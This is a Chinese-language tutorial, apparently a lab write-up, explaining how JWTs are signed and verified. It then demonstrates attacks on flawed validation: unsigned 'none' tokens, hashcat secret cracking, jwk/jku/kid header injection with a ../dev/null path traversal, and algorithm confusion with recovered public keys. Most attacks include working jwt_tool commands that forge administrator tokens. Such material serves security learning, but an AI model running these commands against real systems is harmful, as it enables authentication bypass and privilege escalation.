JWT 原理
JSON Web Token (JWT) 是一種開放的行業標準,用于在系統之間以 JSON 對象的形式安全地傳輸信息。這些信息經過數字簽名,因此可以被驗證和信任。其常用于身份驗證、會話管理和訪問控制機制中傳遞用戶信息。
與傳統的會話令牌相比,JWT 的一個顯著特點是服務器端無需存儲會話信息,所有必要數據都存儲在客戶端持有的 JWT 本身之中。這一特性使得 JWT 在高度分布式的網站架構中備受青睞,因為它能讓用戶無縫地與多個后端服務器進行交互。
JWT 格式
一個標準的 JWT 由三部分組成:頭部(header)、載荷(payload)和簽名(signature)。這三部分由點(.
)分隔,其結構如下例所示:
eyJraWQiOiJrZXktMDAxIiwiYWxnIjoiUlMyNTYifQ.eyJpc3MiOiJhdXRoLmV4YW1wbGUuY29tIiwiZXhwIjoxNzE1MTgzOTY3LCJuYW1lIjoiQWxpY2UiLCJzdWIiOiJhbGljZSIsInJvbGUiOiJ1c2VyIiwiaWF0IjoxNzE1MTgwMzY3fQ.FLA_8VwA23y2s2R-flXm9uG4P4a7aH7eGf7uG_FvC_D9_B9g_fB_A9F8E_7c6_a5_D4C_B3_a2_f1
JWT 的 header 和 payload 部分本質上是經過 Base64Url 編碼的 JSON 對象。頭部包含了關于令牌本身的元數據,而 payload 則包含了關于用戶的實際聲明信息。
header
- 頭部 (Header) 是一個 JSON 對象,通常包含兩部分信息:令牌的類型(
typ
),即 “JWT”,以及所使用的簽名算法(alg
)。 - 該 JSON 對象最終會經過 Base64Url 編碼,構成 JWT 的第一部分。
{"kid": "key-001","alg": "RS256"
}
payload
- 載荷 (Payload) 同樣是一個 JSON 對象,用于存放需要傳遞的實際數據,這些數據被稱為“聲明(Claims)”。
- 聲明可以包含預定義的標準字段(例如
iss
- 簽發者,exp
- 過期時間,sub
- 主題),也可以包含自定義的私有字段。 - 需要注意的是,載荷部分也只是經過 Base64Url 編碼,并沒有加密,因此不應該在其中存放密碼等敏感信息。
{"iss": "auth.example.com","exp": 1715183967,"name": "Alice","sub": "alice","role": "user","iat": 1715180367
}
signature
- 簽名 (Signature) 是 JWT 最關鍵的部分,用于驗證令牌的真實性和完整性。
- 簽名的生成過程如下:
- 將經過 Base64Url 編碼的 header 和 payload 用點(
.
)連接起來,形成一個待簽名的字符串。 - 使用 header 中指定的簽名算法,并配合一個密鑰,對這個字符串進行簽名。
- 將經過 Base64Url 編碼的 header 和 payload 用點(
驗簽
對稱加密
簽名的核心作用是防止篡改。當服務器收到一個 JWT 時,它會執行以下驗證步驟:
- 重新計算簽名: 服務器提取接收到的 JWT 的 header 和 payload,然后使用自己安全保存的密鑰和 header 中指定的算法,重新計算一次簽名。
- 比較簽名: 將新計算出的簽名與接收到的 JWT 中的原始簽名進行比較。
- 如果兩者一致,說明令牌沒有被篡改過,是可信的。
- 如果兩者不一致,說明令牌在傳輸過程中被修改過或偽造,服務器會拒絕這個請求。
非對稱加密
- 執行驗證操作: 服務器提取接收到的 JWT 的 header、payload 和 signature。然后,它會使用自己保存的公鑰和 header 中指定的算法(如 RS256),對 header、payload 和原始簽名執行驗證。
- 判斷驗證結果:
- 如果驗證成功,說明簽名有效。這能同時證明兩件事:
- 令牌確實是由持有對應私鑰的一方簽發的。
- 令牌的內容 (header 和 payload) 在傳輸過程中沒有被篡改過。
- 如果驗證失敗,說明令牌是偽造的、被篡改過的,或者是公鑰和簽發者的私鑰不匹配。服務器會拒絕這個請求。
- 如果驗證成功,說明簽名有效。這能同時證明兩件事:
攻擊 JWT
利用有缺陷的 JWT 簽名驗證
接受任意簽名
漏洞成因
在Java開發中,jjwt 庫是處理JWT的流行選擇。它同樣存在可能被誤用的API設計。
- 不安全的 parse() 方法:某些舊版本的 jjwt 或在特定用法下,單獨的 parse() 方法可能只解碼而不驗證簽名。
- 安全的 parseClaimsJws() 方法:這個方法的名字明確表示它期望處理的是一個JWS(JSON Web
Signature),因此它會強制驗證簽名。如果簽名驗證失敗,它會拋出 SignatureException。
攻擊過程
以普通用戶身份登錄后,嘗試訪問管理員界面,系統提示需要管理員權限。
該網站使用 JWT 進行認證,當前用戶的權限不足。
使用在線工具對 JWT 進行解碼,可以看到 payload 部分顯示當前用戶為 alice
,服務器正是通過該字段進行身份校驗的。
將 sub
字段的值修改為 administrator
,保持 signature 不變,重新生成 JWT 并替換原有的令牌。
成功使用 administrator
權限訪問該頁面。
接受無簽名的令牌
漏洞成因
JWT 頭部包含一個 alg
參數,該參數告知服務器對令牌進行簽名時所使用的算法,以及在驗證簽名時應采用哪種算法。
{"kid": "key-id-12345","alg": "RS256"
}
JWT 標準允許使用多種不同的算法進行簽名,但同時也支持不簽名。在這種情況下,alg
參數會被設置為 none
。如果服務器未能正確校驗 alg
參數,完全信任客戶端提供的值,攻擊者便可以提交一個無簽名的令牌來繞過驗證。
攻擊過程
場景同上,當前用戶無法訪問目標接口。
將 alg
的值修改為 none
,將 payload 中的 sub
值修改為 administrator
,然后刪除 signature 部分,但保留末尾的點(.
),生成一個新的 JWT。
替換原始 JWT 并重放請求,成功訪問該接口。
暴力破解密鑰
漏洞成因
在實現 JWT 應用時,開發人員有時會犯一些低級錯誤,例如忘記更改默認或占位符密鑰。他們甚至可能直接復制粘貼了網上的代碼片段,而沒有修改其中作為示例提供的硬編碼密鑰。在這種情況下,攻擊者可以使用一份包含常見密鑰的字典,對服務器的簽名密鑰進行暴力破解。
攻擊過程
場景同上。使用 hashcat
工具進行爆破,字典可以在 GitHub 上尋找高星項目。
hashcat -a 0 -m 16500 eyJraWQiOiI1MDc1M2E3OS1kZTczLTQ1NzQtOGM1Ny04MTY4NzAxYjdhNTUiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1MjkzMjQ4MCwic3ViIjoid2llbmVyIn0.EKgXRif5vH2aT_3Dj7P5stV6xhhlp-i_CLWtEFsQgKE jwt.secrets.list
成功爆破出 JWT 密鑰。
使用破解出的密鑰重新生成一個具有管理員權限的 JWT。
替換原 JWT 并重放數據包,成功訪問。
JWT Header 參數注入
通過 jwk 參數注入自簽名 JWT
漏洞成因
理想情況下,服務器應僅使用一個預置的、受信任的公鑰白名單來驗證 JWT 簽名。然而,配置錯誤的服務器有時會使用 jwk
(JSON Web Key) Header 參數中嵌入的任何密鑰。攻擊者可以利用此行為,先使用自己的 RSA 私鑰對修改后的 JWT 進行簽名,然后將匹配的公鑰嵌入 jwk
標頭中,從而誘騙服務器使用攻擊者提供的密鑰來完成驗證。
jwk
Header 示例:
{"kid": "attacker-key-1","typ": "JWT","alg": "RS256","jwk": {"kty": "RSA","e": "AQAB","kid": "attacker-key-1","n": "..."}
}
攻擊過程
使用 jwt_tool
這款工具可以方便快捷地利用此漏洞。輸入如下命令:
# 假設的命令,替換了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiJlNTFlMzllMS01MTYwLTRhYjEtYmU5Yi00ZWE4ZGMzYWZmNDAiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1MjkzNTgwOCwic3ViIjoid2llbmVyIn0.RNIqK_ziuL2NlDsgR-QDiYfOdGt-CA2zgl0luR5i3CVYOHk1lj98pGwF0-X5UpiJ-Dp4b2IY-5cT0pnwUZtGmxo7a8NZ_2jhxG8WbJiTRzUyEWrsNxITlgBoFV1eFzrkTbgbmMcVfwooxS61i93QdhhVz9tHiy5jiP2AxigCCo5wLwhYX7no0Rv-bavsFSh0lhf70oZdZ_17KlYqlf_EGRxrt8UIEplXZ97_P-qx-2gKDDMouNxY_wwobihf-lW1ocvlA25SzxHEdn-2v55q5xT4TMSRj2yv1hiRP9U3YI8_HiRBbkiUW7sXIs6qutGPGjCkPCcsaiS37dVAT3abHw' -np -I -pc "sub" -pv "administrator" -X i
可以看到利用成功,并且能在日志中找到新構造的 JWT。
使用新的 JWT 重放數據包,成功以 administrator
用戶身份訪問。
通過 jku 參數注入自簽名 JWT
漏洞成因
某些服務器不直接使用 jwk
標頭參數嵌入公鑰,而是允許使用 jku
(JWK Set URL)標頭參數來引用一個包含密鑰集的 URL。在驗證簽名時,服務器會從此 URL 獲取相關密鑰。如果服務器信任任意 jku
指向的 URL,攻擊就可能發生。
攻擊過程
此攻擊需要一個托管我們 JWKS 的服務器。首先,將 jwt_tool
生成的 JWK 部分復制到該服務器。需要注意的是,jku
攻擊中 jwt_tool
不會自動處理 kid
,需要手動將原始 JWT 的 kid
復制并替換掉生成內容中的 kid
。
接著使用 jwt_tool
,并使用 -ju
參數指向我們托管 JWKS 的服務器地址。
# 假設的命令,替換了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiI2ZmFmZjk3ZC1hNzUxLTRjM2QtYWY5Zi04ZjI2YzZmZDZiMzMiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1Mjk5Mjc2Nywic3ViIjoid2llbmVyIn0.fMvjZTuQnoCUMkc0HG9kaHzctTJYIdakB6qoOLaWoMkLHNLJ4niHd4x33rOZizjTeL-nZdoETNCe4tC7WLBCrkKfdJZBEIlCjrvw0OZ80XDem2npMv4cCtRT7EgcP8NRo5DBNHtd9pAOR7zAjNs6D9_5fQTgxaOKOXGI8GAhJa8ui_Sj8ILYnN1ejvKAU6YCfw9FX02My1NcNdmK7Ba5_weYalX8C5Trcl2rn4o6uJ21V7XiPftz0XH-X-cXBfsKsbIh1_50GLGtgrFlN-gN4emXhbcrN8KIL4cVa6EWMsSu1ZqEMbezPJGw7lMctPhW2K7J0TfVUJTnpqVEtjbBbg' -np -I -pc "sub" -pv "administrator" -X s -ju 'https://exploit-0ab20073040299de837d41cc011e0036.exploit-server.net/exploit'
使用新生成的 JWT 訪問該接口,攻擊成功。
通過 kid 參數注入自簽名 JWT
漏洞成因
這個漏洞的利用需要滿足幾個前提條件:
- 信任
alg
參數:服務器允許客戶端在 JWT 的頭部指定使用的簽名算法,并據此來驗證簽名。 - 信任
kid
參數:服務器完全信任 JWT 頭部中的kid
(Key ID) 參數。 kid
用于讀取文件:服務器內部的邏輯是,把kid
參數的值當作一個文件名(或文件路徑的一部分),然后從硬盤上讀取這個文件的內容來作為驗證用的密鑰。- 存在目錄遍歷漏洞:在拼接文件路徑時,服務器沒有正確處理
../
等路徑穿越字符,導致攻擊者可以通過kid
參數讀取到預期目錄之外的任意文件。
利用這些條件,攻擊者可以使用一個對稱加密算法(如 HS256),并通過路徑穿越,指定一個服務器上已知的、內容固定的文件作為簽名密鑰,例如 Linux 系統下的 /dev/null
。
攻擊過程
同樣使用 jwt_tool
進行攻擊,指定 kid
為 ../../../../../../../dev/null
,并將密鑰指定為空字節(因為 /dev/null
的內容為空),成功將用戶提權到 administrator
。
# 假設的命令,替換了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiJhNjIyM2FhZS0zNGVhLTQ3ZGYtOGI1OC1kZWE3MzNlZjQwZDIiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1Mjk5NjcyMiwic3ViIjoid2llbmVyIn0.dtLkZnYfOd5Ls6yWGZ98w5ONT5kVwHgbHpJ5LeO5ubE' -np -I -pc "sub" -pv "administrator" -hc "kid" -hv "../../../../../../../dev/null" -X b
使用新的 JWT 重放數據包,攻擊成功。
算法混淆攻擊
泄露公鑰的場景
漏洞成因
這是一種利用開發者編碼錯誤的典型攻擊場景。在驗證 JWT 的過程中,如果代碼邏輯是為非對稱加密算法(如 RS256)設計的,它會直接使用公鑰進行驗簽。但當開發者沒有對傳入的 alg
參數做嚴格限制時,攻擊者可以傳入一個使用對稱加密算法(如 HS256)簽名的 JWT。
如果此時服務器的驗證邏輯不變,它可能會錯誤地將本應用于驗證的公鑰,當作了對稱加密算法的簽名密鑰來使用。在公鑰容易被泄露(例如通過 /.well-known/jwks.json
等接口)的情況下,攻擊者便可偽造通過校驗的 JWT。
攻擊過程
首先,通過公開接口收集到服務器的公鑰。
使用工具將其轉換為 PEM 格式,并保存到本地文件 public.pem
。
使用 jwt_tool
執行攻擊,將 alg
修改為 HS256
并用獲取到的公鑰作為密鑰來簽名,構造一個新的 JWT,成功將權限提升到 administrator
。
# 假設的命令,替換了敏感信息
python .\jwt_tool.py -t https://example.com/admin -rc 'session=eyJraWQiOiI5ODY4YTliOC0zYzM3LTRiZDctOTI0YS0xMzUwNWRmODc3YmYiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJwb3J0c3dpZ2dlciIsImV4cCI6MTc1MzAwMDg1Nywic3ViIjoid2llbmVyIn0.Wjv2YdNi1l_XgUUqHISF9OGbiWUtGbqaRMjVqRgSV_2Pq3J8omvvmC-qrdMm1s_76pryxd6TZyLsMQETbtOayD5SR4Hym-U9v6XmfEYVmEQAvrLhvUJYni7oMnq9RHLNUiSvBTZXjCrkcLk2GKs-pp9C3vLGInjGhhYBQGX-YlWF9I-S5-lc_GiW5lCWlVbqS8BopQG0QaSBZcPS4zcBxxlzj5CCGdIlP38VajiLY5q0I-3SfBlnyOtVpIhHQrFMONlqESYH6gyKOj1uuRaNR3UWk6dasGBHnCRKpwwskXm8gHzMZDjGFbkwRi7pfQ1bwWud9mko1q8leO6A-gcN3g' -np -I -pc "sub" -pv "administrator" -X k -pk public.pem
替換 JWT 并重放數據包,攻擊成功。
從現有 jwt 獲取公鑰
漏洞成因
RSA 簽名的生成與一個巨大的數字——模數 n
——密切相關。這個 n
是公鑰和私鑰共有的一個核心組成部分。通常情況下,僅從一個簽名是無法反推出 n
的。
但是,如果攻擊者能獲得由同一個私鑰簽發的兩個不同 JWT 的簽名,就可以通過數學計算來恢復出這個共享的模數 n
,進而重構出公鑰。
如何獲取兩個不同的 JWT?
- 用同一個賬號,登出后再重新登錄,兩次登錄獲得的 JWT 可能不同(比如
iat
或exp
時間戳不同)。 - 用同一個賬號,修改一下個人資料(如郵箱、昵稱),服務器可能會重新簽發一個包含新信息的 JWT。
- 注冊兩個不同的用戶賬號
user1
和user2
,如果服務器用的是同一個私鑰為所有用戶簽名,那么這兩個 JWT 也可以用于此攻擊。
攻擊過程
通過連續登錄兩次獲取到兩個不同的 JWT,然后使用 sig2n
等工具恢復模數 n
,成功拿到兩個可能的公鑰。
# 假設的命令,替換了敏感信息
docker run --rm -it some-tools/sig2n <jwt_token_1> <jwt_token_2>
分別對兩個 Base64 字符串進行解碼,得到兩個 PEM 格式的公鑰。
其中一個公鑰是正確的。剩下的步驟就和上一節的算法混淆攻擊一樣,利用這個公鑰將權限提升到 administrator
。